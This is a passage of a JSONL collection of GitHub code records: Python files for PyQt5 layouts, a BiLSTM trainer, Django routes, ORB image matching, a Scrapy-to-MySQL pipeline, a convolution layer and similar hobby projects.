atbat.attributes['num'].value}\n\t\t\t\t\t\tp = Pitch(pitch, count, **kwargs)\n\t\t\t\t\t\tvalues['pitches'].append(p)\n\n\t\t\t\t\t\ttry:\n\n\t\t\t\t\t\t\tif pitch.attributes['type'].value == 'B':\n\t\t\t\t\t\t\t\tballs = balls + 1\n\t\t\t\t\t\t\telif pitch.attributes['type'].value == 'S':\n\t\t\t\t\t\t\t\tstrikes = strikes + 1\n\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tpass\n\n\n\t\t\t\t\tinning.append(values)\n\t\t\t\tself.append(inning)\n\t\t\t\tinning_num += 1\n","repo_name":"CrackerStats/Gameday-Python","sub_path":"libmin/atbats.py","file_name":"atbats.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"2357280165","text":"# 가장 일반적인 레이아웃 클래스는 '그리드 레이아웃(grid layout)'. 이 레이아웃 클래스는 위젯의 공간을 행 (row)과 열 (column)로 구분\n# 그리드 레이아웃을 생성하기 위해 QGridLayout 클래스를 사용\n\n## Ex 4-3. 그리드 레이아웃.\nimport sys\nfrom PyQt5.QtWidgets import (QApplication, QWidget, QGridLayout, QLabel, QLineEdit, QTextEdit)\n\nclass MyApp(QWidget):\n\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n grid = QGridLayout() # QGridLayout을 만들고\n self.setLayout(grid) # 어플리케이션 창의 레이아웃으로 설정\n\n grid.addWidget(QLabel('Title:'), 0, 0) # 세개의 라벨\n grid.addWidget(QLabel('Author:'), 1, 0)\n grid.addWidget(QLabel('Review:'), 2, 0)\n # 세 개의 라벨을 첫 번째 열에 수직으로 배치합니다.\n\n grid.addWidget(QLineEdit(), 0, 1) # 두개의 라인에디터\n grid.addWidget(QLineEdit(), 1, 1)\n grid.addWidget(QTextEdit(), 2, 1) # 한개의 텍스트에디터, 여러 줄의 텍스트를 수정할 수 있는 위젯. 세 번째 행, 두 번째 열에 배치\n\n self.setWindowTitle('QGridLayout')\n self.setGeometry(300, 300, 300, 200)\n self.show()\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = MyApp()\n sys.exit(app.exec_())","repo_name":"cksthf3211/SFT","sub_path":"PyQt5/11그리드 레이아웃.py","file_name":"11그리드 레이아웃.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18012679293","text":"import sys\nfrom pathlib import Path\nsys.path.append(str(Path(__file__).resolve().parents[1]))\n\nimport tensorflow as tf\nfrom keras import losses,metrics\nfrom utils.data_generator import DataGenerator\nfrom BiLstm import BiLstm\n\ndef scheduler(epoch, lr):\n if epoch < 10:\n return lr\n else:\n return lr * tf.math.exp(-0.1)\n\nif __name__ == \"__main__\":\n batch_size = 64\n # 训练数据读取\n trn_path = 'addr/data/tianchi/train.conll'\n dg_trn = DataGenerator()\n trn_data = dg_trn.samples_to_dataset(trn_path, batch_size=batch_size, shuffle=10, repeat=None,\n prefetch=5, cache='addr/utils/model-cache/train/', \n output_types=(tf.string, tf.string), output_shapes=([1,], [1,]))\n dev_path = 'addr/data/tianchi/dev.conll'\n dg_dev = DataGenerator()\n dev_data = dg_dev.samples_to_dataset(dev_path, batch_size=batch_size, shuffle=10, repeat=None,\n prefetch=5, cache='addr/utils/model-cache/dev/', \n output_types=(tf.string, tf.string), output_shapes=([1,], [1,]))\n\n #构建模型\n model = BiLstm(vocab_size=dg_trn.vectorizer_text_layer.vocabulary_size(),\n embed_dim=100,\n hidden_dim=200,\n output_dim=dg_trn.vectorizer_label_layer.vocabulary_size())\n #模型编译\n #模型训练\n\n learning_rate = tf.keras.callbacks.LearningRateScheduler(scheduler)\n csv_logger = tf.keras.callbacks.CSVLogger('addr/logs/bilstm_train_0320.log')\n early_stop = tf.keras.callbacks.EarlyStopping(\n monitor=\"val_sa\",\n min_delta=1e-2,\n patience=20,\n verbose=1,\n )\n model_checkpoint = tf.keras.callbacks.ModelCheckpoint(\n filepath=\"addr/model_dir/bilstm_{epoch}\",\n save_best_only=True, # Only save a model if `val_loss` has improved.\n monitor=\"val_sa\",\n mode=\"max\",\n verbose=1,\n )\n model.compile()\n model.fit(trn_data,\n epochs=2000,\n callbacks=[csv_logger,early_stop,learning_rate,model_checkpoint],\n validation_data=dev_data)\n print(model.summary())\n ","repo_name":"ShiyaNiu/addr","sub_path":"model/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38317385707","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n # path('load_neighbor',views.importNeighbours,name='load_neighbor'),\n # path('load_neighbor_zip',views.importNbrWithZip,name='load_neighbor_withzip'),\n path('view_neighbor',views.viewNeighbours,name='view_neighbor'),\n path('fetch_stadiums',views.scrap_stadium,name='scrap_stadium'),\n path('stadiums',views.get_stadiums,name='get_stadiums'),\n # path('scrap_reddits',views.scrap_reddits,name='scrap_reddits'),\n path('get_reddit_posts',views.get_reddit_posts,name='view_reddits'),\n path('get_subreddits',views.get_subreddits,name='view_subreddits'),\n path('state',views.get_states,name='get_states'),\n path('state//city',views.get_cities,name='get_cities'),\n path('state//city/',views.get_hoods,name='get_hoods')\n]\n \n","repo_name":"aaronorosen2/python-base","sub_path":"codes/neighbormade/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72533379306","text":"import numpy as np\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\n\r\nimg1 = cv2.imread('1.png',0) # queryImage\r\nimg2 = cv2.imread('3.png',0) # trainImage\r\n\r\n# Initiate ORB detector\r\norb = cv2.ORB_create(nfeatures=100000, scoreType=cv2.ORB_FAST_SCORE)\r\n\r\n# find the keypoints and descriptors with ORB\r\nkp1, des1 = orb.detectAndCompute(img1,None)\r\nkp2, des2 = orb.detectAndCompute(img2,None)\r\n'''\r\nfor keyPoint in kp1:\r\n x = keyPoint.pt[0]\r\n y = keyPoint.pt[1]\r\n s = keyPoint.size\r\n print x, y\r\n'''\r\nY = 0\r\n'''\r\nfor i in range(1557, 1578):\r\n\tx1 = kp1.pt[0]\r\n\tx2 = kp1.pt[0]\r\n\r\n\ty1 = kp1.pt[0]\r\n\ty2 = kp1.pt[1]\r\n\r\n\tprint \"Distance\"\r\n\tY = y2 - y1\r\n\tprint Y\r\n\r\n'''\r\n\r\n# create BFMatcher object\r\nbf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\r\n# Match descriptors.\r\nmatches = bf.match(des1,des2)\r\n# Sort them in the order of their distance.\r\nmatches = sorted(matches, key = lambda x:x.distance)\r\n# Draw first 10 matches\r\nimg3 = cv2.drawMatches(img1,kp1,img2,kp2,matches[1557:1575], None, flags=2)\r\nplt.imshow(img3),plt.show()","repo_name":"cyberdrk/TraViol","sub_path":"trorb.py","file_name":"trorb.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"16584926977","text":"# Problem: https://leetcode.com/problems/reverse-linked-list/\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param head, a ListNode\n # @return a ListNode\n def insertionSortList(self, head):\n \t# If the head is not a ListNode, return it\n \tif not head:\n \t\treturn head\n\n \t# Create the start for the linked list\n \tstart = ListNode(-1)\n \tstart.next = head\n \tlastSorted = head \n \t\n\n \twhile lastSorted.next:\n \t\tif lastSorted.next.val < lastSorted.val:\n \t\t\trunner = start # runner variable runs through each element in the sorted list\n\n \t\t\t# Compare the next value to be inserted with each element\n \t\t\t# in the sorted list\n \t\t\twhile runner.next.val < lastSorted.next.val:\n \t\t\t\trunner = runner.next\n\n\n \t\t\tsortingElement = lastSorted.next\n \t\t\tlastSorted.next = sortingElement.next # Skip the key which is sorted\n\n \t\t\t# Insert the key to the linked list\n \t\t\tsortingElement.next = runner.next \n \t\t\trunner.next = sortingElement\n\n \t\telse:\n \t\t\tlastSorted = lastSorted.next # Skip to the next element if this element is \n \t\t\t\t\t\t\t\t\t\t # bigger or equal to the last element in the sorted list\t\t\t\t\t \n\n \treturn start.next # return the first element\n\n\n\n\n\n","repo_name":"huyenbnguyen/algorithm","sub_path":"reverse-linked-list.py","file_name":"reverse-linked-list.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32522084743","text":"import numpy as np\nfrom itertools import product\n\n\ninstances = []\ndata = []\n\nnum_people = 100\n\n# create instance\nfor a in range(num_people):\n instances.append(['people', f'p{a}'])\n\n# save instance\nnp.save('Data/smoker_instances', np.array(instances))\n\n# generate data\nfor a in range(num_people):\n idx = np.random.choice(num_people, int(num_people * 0.1), replace=False)\n for b in idx:\n if a < b:\n data.append([f'friend,p{a},p{b}', np.random.choice([0, 1])])\n\nA = np.random.choice(num_people, int(num_people * 0.1), replace=False)\nfor a in A:\n data.append([f'smoke,p{a}', np.random.random_sample()])\n\nprint(len(data))\n\n# save data\nnp.save('Data/smoker_data', np.array(data))\n","repo_name":"leodd/Hybrid-Lifted-Belief-Propagation","sub_path":"Data/MLNDataGenerator.py","file_name":"MLNDataGenerator.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"30273250062","text":"import numpy as np\n\nfrom tinynet.layers import Layer\nfrom tinynet import initializers\n\nfrom tinynet.layers.conv.im2col import im2col_indices\nfrom tinynet.layers.conv.im2col import col2im_indices\n\n# Adopted from\n# https://github.com/wiseodd/hipsternet/blob/master/hipsternet/layer.py\n\n\nclass Conv2D(Layer):\n \"\"\"Convolutional layer (2D)\"\"\"\n\n def __init__(self, out_channels, field, stride=1, pad=0, weight_initializer=None, bias_initializer=None):\n self.out_channels = out_channels\n self.field = field\n self.stride = stride\n self.pad = pad\n self.weight_initializer = weight_initializer\n self.bias_initializer = bias_initializer\n\n def init_params(self, in_shape):\n # Input volume (channels first)\n in_channels = in_shape[1]\n in_height = in_shape[2]\n in_width = in_shape[3]\n self.in_shape = in_shape\n\n # Output volume\n out_height = int((in_height - self.field[0] + 2 * self.pad) / self.stride) + 1\n out_width = int((in_width - self.field[1] + 2 * self.pad) / self.stride) + 1\n self.out_shape = (None, self.out_channels, out_height, out_width)\n\n # Learnable parameters\n self.params = {}\n self.grads = {}\n\n # Initialize parameters\n in_units = in_channels * in_height * in_width\n out_units = self.out_channels * out_height * out_width\n # Weights\n shape = (self.out_channels, in_channels, self.field[0], self.field[1])\n if self.weight_initializer is None:\n weight_initializer = initializers.He()\n self.params['W'] = weight_initializer.init_params(shape, in_units, out_units)\n else:\n self.params['W'] = self.weight_initializer.init_params(shape, in_units, out_units)\n # Biases\n shape = (self.out_channels, 1)\n if self.bias_initializer is None:\n self.params['b'] = np.zeros(shape)\n else:\n self.params['b'] = self.bias_initializer.init_params(shape, in_units, out_units)\n\n def forward(self, X, predict=False):\n W = self.params['W']\n b = self.params['b']\n\n m = X.shape[0]\n\n X_col = im2col_indices(X,\n self.field[0],\n self.field[1],\n pad=self.pad,\n stride=self.stride)\n W_col = W.reshape(self.out_channels, -1)\n\n out = W_col @ X_col + b\n _, _, out_height, out_width = self.out_shape\n out = out.reshape(self.out_channels, out_height, out_width, m)\n out = out.transpose(3, 0, 1, 2)\n\n if not predict:\n self.cache = (X, X_col)\n return out\n\n def backward(self, dout):\n X, X_col = self.cache\n W = self.params['W']\n b = self.params['b']\n\n db = np.sum(dout, axis=(0, 2, 3))\n db = db.reshape(self.out_channels, -1)\n assert(db.shape == b.shape)\n\n dout_reshaped = dout.transpose(1, 2, 3, 0).reshape(self.out_channels, -1)\n dW = dout_reshaped @ X_col.T\n dW = dW.reshape(W.shape)\n assert(dW.shape == W.shape)\n\n W_reshape = W.reshape(self.out_channels, -1)\n dX_col = W_reshape.T @ dout_reshaped\n dX = col2im_indices(dX_col,\n X.shape,\n self.field[0],\n self.field[1],\n pad=self.pad,\n stride=self.stride)\n assert(dX.shape == X.shape)\n\n self.grads['dW'] = dW\n self.grads['db'] = db\n\n self.cache = None\n return dX\n","repo_name":"polakowo/tinynet","sub_path":"tinynet/layers/conv/convolution.py","file_name":"convolution.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"23595997558","text":"import logging\nimport datetime\nfrom logging import handlers\n\nformat_time = \"%(asctime)s %(filename)s:%(lineno)-4d %(levelname)s %(message)s\"\n#formatted =\"%(filename)s:%(lineno)-4d %(levelname)s %(message)s\"\n\nfilename_format = datetime.datetime.today().strftime('%Y-%m-%d') + \".log\"\n\nformatter_time = logging.Formatter(format_time)\n#formatter = logging.Formatter(formatted)\n\nfile_handler = logging.FileHandler(filename_format)\nfile_handler.setLevel(logging.WARNING)\nfile_handler.setFormatter(formatter_time)\n\nconsole_handler = logging.StreamHandler()\nconsole_handler.setLevel(logging.DEBUG)\nconsole_handler.setFormatter(formatter_time)\n\nserver_handler = logging.handlers.SysLogHandler(address=('0.0.0.0', 12123))\nserver_handler.setLevel(logging.ERROR)\n#server_handler.setFormatter(formatter)\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(file_handler)\nlogger.addHandler(console_handler)\nlogger.addHandler(server_handler)\n\n\ndef my_fun(n):\n for i in range(0, n):\n logging.debug(i)\n if i == 50: \n logging.warning(\"The value of i is 50.\")\n try:\n i / (50 - i)\n except ZeroDivisionError:\n logging.error(\"Tried to divide by zero. Var i was {}. Recovered gracefully.\".format(i))\n\nif __name__ == \"__main__\":\n my_fun(100)\n","repo_name":"UWPCE-PythonCert-ClassRepos/Sp2018-Online","sub_path":"students/shayna_andersonhill/lesson05/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71327155627","text":"from gooutsafe import app\nfrom flask import abort\nimport requests\n\n\nclass NotificationTracingManager:\n NOTIFICATION_ENDPOINT = app.config['NOTIFICATIONS_MS_URL']\n REQUESTS_TIMEOUT_SECONDS = app.config['REQUESTS_TIMEOUT_SECONDS']\n\n @classmethod\n def retrieve_by_target_user_id(cls, user_id: int):\n try:\n response = requests.get(\"%s/notifications/%s\" % (cls.NOTIFICATION_ENDPOINT, str(user_id)),\n timeout=cls.REQUESTS_TIMEOUT_SECONDS)\n if response.status_code == 200:\n # there are notifications\n return response.json()\n elif response.status_code == 404:\n return []\n else:\n raise RuntimeError('Server has sent an unrecognized status code %s' % response.status_code)\n\n except (requests.exceptions.ConnectionError, requests.exceptions.Timeout):\n return abort(500)\n\n @classmethod\n def get_contact_tracing_list(cls, customer_id: int):\n try:\n response = requests.get(\"%s/contact_tracing/%s\" % (cls.NOTIFICATION_ENDPOINT, str(customer_id)),\n timeout=cls.REQUESTS_TIMEOUT_SECONDS)\n if response.status_code == 200:\n # there are contacts\n return response.json()['tracing_list']\n elif response.status_code == 404:\n return []\n else:\n raise RuntimeError('Server has sent an unrecognized status code %s' % response.status_code)\n\n except (requests.exceptions.ConnectionError, requests.exceptions.Timeout):\n return abort(500)\n\n @classmethod\n def trigger_contact_tracing(cls,positive_id: int):\n try:\n response = requests.post(\"%s/contact_tracing/%s\" % (cls.NOTIFICATION_ENDPOINT, str(positive_id)),\n timeout=cls.REQUESTS_TIMEOUT_SECONDS)\n return response.status_code\n\n except (requests.exceptions.ConnectionError, requests.exceptions.Timeout):\n return abort(500)\n","repo_name":"LeoCal4/gos-api_gateway","sub_path":"gooutsafe/rao/notification_tracing_manager.py","file_name":"notification_tracing_manager.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"14246991393","text":"# -*- coding: utf-8 -*-\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport pymysql\nfrom shunfeng import settings\nfrom shunfeng.items import CompanyBasicInfoItem\nfrom shunfeng.items import PersonBasicInfoItem\nfrom shunfeng.items import Kuaidi100Item\nfrom shunfeng.items import ServiceItem\nfrom shunfeng.items import TypeItem\n\nclass ShunfengPipeline(object):\n def __init__(self):\n# self.f = open('baike.txt', 'w') \n self.conn = pymysql.connect(\n host=settings.HOST_IP,\n# port=settings.PORT,\n user=settings.USER,\n passwd=settings.PASSWD,\n db=settings.DB_NAME,\n charset='utf8mb4',\n use_unicode=True\n ) \n self.cursor = self.conn.cursor()\n\n def process_item(self, item, spider):\n if isinstance(item, Kuaidi100Item):\n #如果存在数据,判断是否重复,但是好像判断还是有问题\n self.cursor.execute(\"SELECT company_chName FROM company;\")\n companyinfo = self.cursor.fetchall()\n flag = 0\n for info in companyinfo:\n if item['name'] == info[0] :\n print('已经存在',info[0],'------',item['name'],'无法插入')\n flag = 1\n if flag == 0:\n #如果数据库里没有数据 则把快递100爬到的信息全部直接插入\n self.cursor.execute(\"SELECT MAX(company_id) FROM company\")\n result = self.cursor.fetchall()[0]\n if None in result:\n company_id = 1\n else:\n company_id = result[0] + 1\n sql = \"\"\"\n INSERT INTO company(company_id,company_chName,company_tel,company_website,company_kuaidi100Description) VALUES (%s, %s, %s, %s, %s)\n \"\"\"\n self.cursor.execute(sql, (company_id, item['name'], item['tel'], item['web'], item['description']))\n elif isinstance(item,TypeItem):\n #先判断在servicetype表中该类型是否已经存在\n self.cursor.execute(\"SELECT servicetype_id FROM servicetype where servicetype_name = '\"+item['typeName']+\"' ;\")\n servicetype_id = self.cursor.fetchone() \n #不存在,则存储\n if None == servicetype_id:\n #根据item['typeName']的prefix 找到 公司ID\n companyName = item['typeName'].split('-')[0]\n self.cursor.execute(\"SELECT company_id FROM company where company_chName = '\"+companyName+\"' ;\")\n #通过更改快递100查到的公司名称 保证该company一定存在,取[0]\n companyId = self.cursor.fetchone()\n print('不存在该serviceType',item['typeName'],'存储该type,companyID为:',companyId)\n \n \n self.cursor.execute(\"SELECT MAX(servicetype_id) FROM servicetype\")\n stid = self.cursor.fetchone()[0]\n if None == stid:\n servicetype_id = 1\n else:\n servicetype_id = stid + 1\n #存储servicetype\n sql = \"INSERT INTO servicetype(servicetype_id,servicetype_name,company_id) VALUES (%s, %s, %s) \"\n self.cursor.execute(sql, (servicetype_id, item['typeName'],companyId))\n\n else:\n print('重复的servicetype')\n #存储对应service,先判断该service是否存在\n self.cursor.execute(\"SELECT * FROM service where service_name = '\"+item['serviceName']+\"' ;\")\n result = self.cursor.fetchone() \n if None == result:\n self.cursor.execute(\"SELECT MAX(service_id) FROM service\")\n sid = self.cursor.fetchone()[0]\n if None == sid:\n service_id = 1\n else:\n service_id = sid + 1\n sql = \"INSERT INTO service(service_id,service_name,servicetype_id) VALUES (%s, %s, %s) \"\n self.cursor.execute(sql, (service_id,item['serviceName'],servicetype_id))\n else:\n print('重复的service')\n \n elif isinstance(item,ServiceItem):\n if item['serviceItemDesc'] == '':\n return item\n #serviceName serviceItemName serviceItemDesc \n \n #存储serviceitem,首先判断service是否存在\n \n #在service表中找到service_name与 item['serviceName']一致的service的service_id\n self.cursor.execute(\"SELECT service_id FROM service where service_name = '\"+item['serviceName']+\"' ;\")\n service_id = self.cursor.fetchone() \n if None == service_id:\n print('错误:缺少该service',item['serviceName'])\n else:\n #判断serviceItem是否存在 根据serviceItemName 和servicID \n s = \"SELECT * FROM serviceitem where serviceitem_name = %s and service_id = %s \"\n \n self.cursor.execute(s,(item['serviceItemName'],service_id[0]))\n result = self.cursor.fetchone() \n #不存在该serviceitem\n if None == result:\n self.cursor.execute(\"SELECT MAX(serviceitem_id) FROM serviceitem\")\n siid = self.cursor.fetchone()[0]\n if None == siid:\n serviceitem_id = 1\n else:\n serviceitem_id = siid + 1\n sql = \"\"\"\n INSERT INTO serviceitem(serviceitem_id,serviceitem_name,serviceitem_description,service_id) VALUES (%s, %s, %s, %s)\n \"\"\"\n self.cursor.execute(sql, (serviceitem_id,item['serviceItemName'],item['serviceItemDesc'],service_id[0])) \n else:\n print('重复的service-item:',item['serviceItemName'],item['serviceItemDesc'],'service_id',service_id[0])\n\n elif isinstance(item, CompanyBasicInfoItem):\n# self.f.write(str(item))\n# self.f.write('\\n\\n')\n# self.cursor.execute(\"SELECT company_id,company_baike_description FROM company where company_chName like '% \" + item['company_chName'][0:4] + \" %' or company_description like '% \" + item['company_chName'] + \" %' ;\")\n \n info = self.cursor.fetchone()\n print(\"#\"*30,item['company_chName'],info)\n if None == info:\n print('发现了新公司!:',item['company_chName'])\n sql = \"\"\"\n INSERT INTO company(company_chName ,company_enName ,\n company_headQuarterPlace , company_incorporationTime ,company_businessScope , company_type , company_slogan , company_annualTurnover ,company_chairMan , company_baike_description ) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n \"\"\"\n self.cursor.execute(sql, (item['company_chName'],item['company_enName'],item['company_headQuarterPlace'],item['company_incorporationTime'],item['company_businessScope'],item['company_type'],item['company_slogan'],item['company_annualTurnover'],item['company_chairMan'],item['company_baike_description'] ))\n elif None == info[1]:\n print('更新公司数据:',companyId)\n sql = \"\"\"\n UPDATE company SET company_enName= %s , company_headQuarterPlace = %s , company_incorporationTime = %s ,\n company_businessScope = %s , company_type = %s , company_slogan = %s, company_annualTurnover = %s, company_chairMan= %s, \n company_baike_description = %s WHERE company_id = %s \n \"\"\"\n self.cursor.execute(sql, (item['company_enName'],item['company_headQuarterPlace'],item['company_incorporationTime'],item['company_businessScope'],item['company_type'],item['company_slogan'],item['company_annualTurnover'],item['company_chairMan'],item['company_baike_description'],companyId))\n else:\n print(\"#\" * 20, \"Got a duplict company!!\", item['company_chName']) \n elif isinstance(item, PersonBasicInfoItem):\n# self.f.write(str(item))\n# self.f.write('\\n\\n')\n self.cursor.execute(\"SELECT person_chName FROM person;\")\n personList = self.cursor.fetchall()\n# print('名字列表',personList)\n if (item['person_chName'],) not in personList :\n # get the id in table company\n self.cursor.execute(\"SELECT MAX(person_id) FROM person\")\n result = self.cursor.fetchall()[0]\n if None in result:\n person_id = 1\n else:\n person_id = result[0] + 1\n \n sql = \"\"\"\n INSERT INTO person(person_id ,person_chName ,person_nationality ,person_nation,person_birthPlace,person_birthDay,person_achiem,person_description) VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\n \"\"\"\n self.cursor.execute(sql, (person_id, item['person_chName'],item['person_nationality'],item['person_nation'],item['person_birthPlace'],item['person_birthDay'],item['person_achiem'],item['person_description'] ))\n \n else:\n print(\"#\" * 20, \"Got a duplict person!!\", item['person_chName'])\n self.conn.commit() \n return item\n \n def close_spider(self, spider):\n self.conn.commit()\n self.conn.close()\n self.cursor.close()\n# self.f.close()","repo_name":"ZPS233/Baidubaidke-spider","sub_path":"shunfeng/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":9797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32512642940","text":"from dataclasses import dataclass\nfrom typing import Any, List, Optional, TypeVar, Callable, Type, cast\n\n\nT = TypeVar(\"T\")\n\n\ndef from_float(x: Any) -> float:\n assert isinstance(x, (float, int)) and not isinstance(x, bool)\n return float(x)\n\n\ndef to_float(x: Any) -> float:\n assert isinstance(x, float)\n return x\n\n\ndef from_str(x: Any) -> str:\n assert isinstance(x, str)\n return x\n\n\ndef from_list(f: Callable[[Any], T], x: Any) -> List[T]:\n assert isinstance(x, list)\n return [f(y) for y in x]\n\n\ndef to_class(c: Type[T], x: Any) -> dict:\n assert isinstance(x, c)\n return cast(Any, x).to_dict()\n\n\ndef from_int(x: Any) -> int:\n assert isinstance(x, int) and not isinstance(x, bool)\n return x\n\n\ndef from_bool(x: Any) -> bool:\n assert isinstance(x, bool)\n return x\n\n\ndef from_none(x: Any) -> Any:\n assert x is None\n return x\n\n\ndef from_union(fs, x):\n for f in fs:\n try:\n return f(x)\n except:\n pass\n assert False\n\n\n@dataclass\nclass ObjectScale:\n x: float\n y: float\n z: float\n\n @staticmethod\n def from_dict(obj: Any) -> 'ObjectScale':\n assert isinstance(obj, dict)\n x = from_float(obj.get(\"x\"))\n y = from_float(obj.get(\"y\"))\n z = from_float(obj.get(\"z\"))\n return ObjectScale(x, y, z)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"x\"] = to_float(self.x)\n result[\"y\"] = to_float(self.y)\n result[\"z\"] = to_float(self.z)\n return result\n\n\n@dataclass\nclass Object:\n id: str\n confidence: str\n transform: List[float]\n category: str\n scale: ObjectScale\n\n @staticmethod\n def from_dict(obj: Any) -> 'Object':\n assert isinstance(obj, dict)\n id = from_str(obj.get(\"id\"))\n confidence = from_str(obj.get(\"confidence\"))\n transform = from_list(from_float, obj.get(\"transform\"))\n category = from_str(obj.get(\"category\"))\n scale = ObjectScale.from_dict(obj.get(\"scale\"))\n return Object(id, confidence, transform, category, scale)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"id\"] = from_str(self.id)\n result[\"confidence\"] = from_str(self.confidence)\n result[\"transform\"] = from_list(to_float, self.transform)\n result[\"category\"] = from_str(self.category)\n result[\"scale\"] = to_class(ObjectScale, self.scale)\n return result\n\n\n@dataclass\nclass SurfaceScale:\n x: float\n y: float\n z: int\n\n @staticmethod\n def from_dict(obj: Any) -> 'SurfaceScale':\n assert isinstance(obj, dict)\n x = from_float(obj.get(\"x\"))\n y = from_float(obj.get(\"y\"))\n z = from_int(obj.get(\"z\"))\n return SurfaceScale(x, y, z)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"x\"] = to_float(self.x)\n result[\"y\"] = to_float(self.y)\n result[\"z\"] = from_int(self.z)\n return result\n\n\n@dataclass\nclass Surface:\n id: str\n edges: List[bool]\n confidence: str\n transform: List[float]\n category: str\n scale: SurfaceScale\n is_open: Optional[bool] = None\n\n @staticmethod\n def from_dict(obj: Any) -> 'Surface':\n assert isinstance(obj, dict)\n id = from_str(obj.get(\"id\"))\n edges = from_list(from_bool, obj.get(\"edges\"))\n confidence = from_str(obj.get(\"confidence\"))\n transform = from_list(from_float, obj.get(\"transform\"))\n category = from_str(obj.get(\"category\"))\n scale = SurfaceScale.from_dict(obj.get(\"scale\"))\n is_open = from_union([from_bool, from_none], obj.get(\"isOpen\"))\n return Surface(id, edges, confidence, transform, category, scale, is_open)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"id\"] = from_str(self.id)\n result[\"edges\"] = from_list(from_bool, self.edges)\n result[\"confidence\"] = from_str(self.confidence)\n result[\"transform\"] = from_list(to_float, self.transform)\n result[\"category\"] = from_str(self.category)\n result[\"scale\"] = to_class(SurfaceScale, self.scale)\n if self.is_open is not None:\n result[\"isOpen\"] = from_union([from_bool, from_none], self.is_open)\n return result\n\n\n@dataclass\nclass Room:\n surfaces: List[Surface]\n objects: List[Object]\n\n @staticmethod\n def from_dict(obj: Any) -> 'Room':\n assert isinstance(obj, dict)\n surfaces = from_list(Surface.from_dict, obj.get(\"surfaces\"))\n objects = from_list(Object.from_dict, obj.get(\"objects\"))\n return Room(surfaces, objects)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"surfaces\"] = from_list(lambda x: to_class(Surface, x), self.surfaces)\n result[\"objects\"] = from_list(lambda x: to_class(Object, x), self.objects)\n return result\n\n\ndef room_from_dict(s: Any) -> Room:\n return Room.from_dict(s)\n\n\ndef room_to_dict(x: Room) -> Any:\n return to_class(Room, x)\n","repo_name":"Mohamed26Salah/The-XY-Designer","sub_path":"RoomOrganizer/NewRoomModel.py","file_name":"NewRoomModel.py","file_ext":"py","file_size_in_byte":4952,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"7836503600","text":"from scipy.io import wavfile\nfrom mido import MidiFile\nfrom pydub import AudioSegment\nimport numpy as np\nimport os\n\ndef loadMidi(filename):\n mid = MidiFile(filename, clip = True) # Clip values larger than 127\n return mid\n\ndef loadConfig(config_filename):\n raise NotImplementedError\n\ndef saveAudio(filename, data, sr = 44100, format = \"wav\", bit_depth = 16, float32 = True):\n\n if bit_depth == 32:\n if float32:\n dtype = np.float32\n else:\n dtype = np.int32\n elif bit_depth == 16:\n dtype = np.int16\n elif bit_depth == 8:\n dtype = np.uint8\n\n # Write into wav first\n wavfile.write(filename, sr, data.astype(dtype))\n \n # Convert into mp3\n if format == \"mp3\":\n audio = AudioSegment.from_wav(filename)\n audio.export(filename, format = \"mp3\")","repo_name":"YihaoChen96/DSP_Final","sub_path":"pySynth/io/output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70671565227","text":"from django.core.management.base import BaseCommand, CommandError\nimport json\nfrom catalog.serializers import PetSerializer\nfrom catalog.models import Pet\n\n\nclass Command(BaseCommand):\n help = 'pets info'\n\n def add_arguments(self, parser):\n parser.add_argument('--has_photo', action='store_true')\n\n def handle(self, *args, **options):\n arg = False\n if options['has_photo']:\n arg = True\n try:\n pets = Pet.objects.all().exclude(photo__isnull=arg) # убрать all\n serialize_pet = PetSerializer(pets, many=True)\n except Pet.DoesNotExist:\n raise CommandError('Pets does not exist')\n json_data = 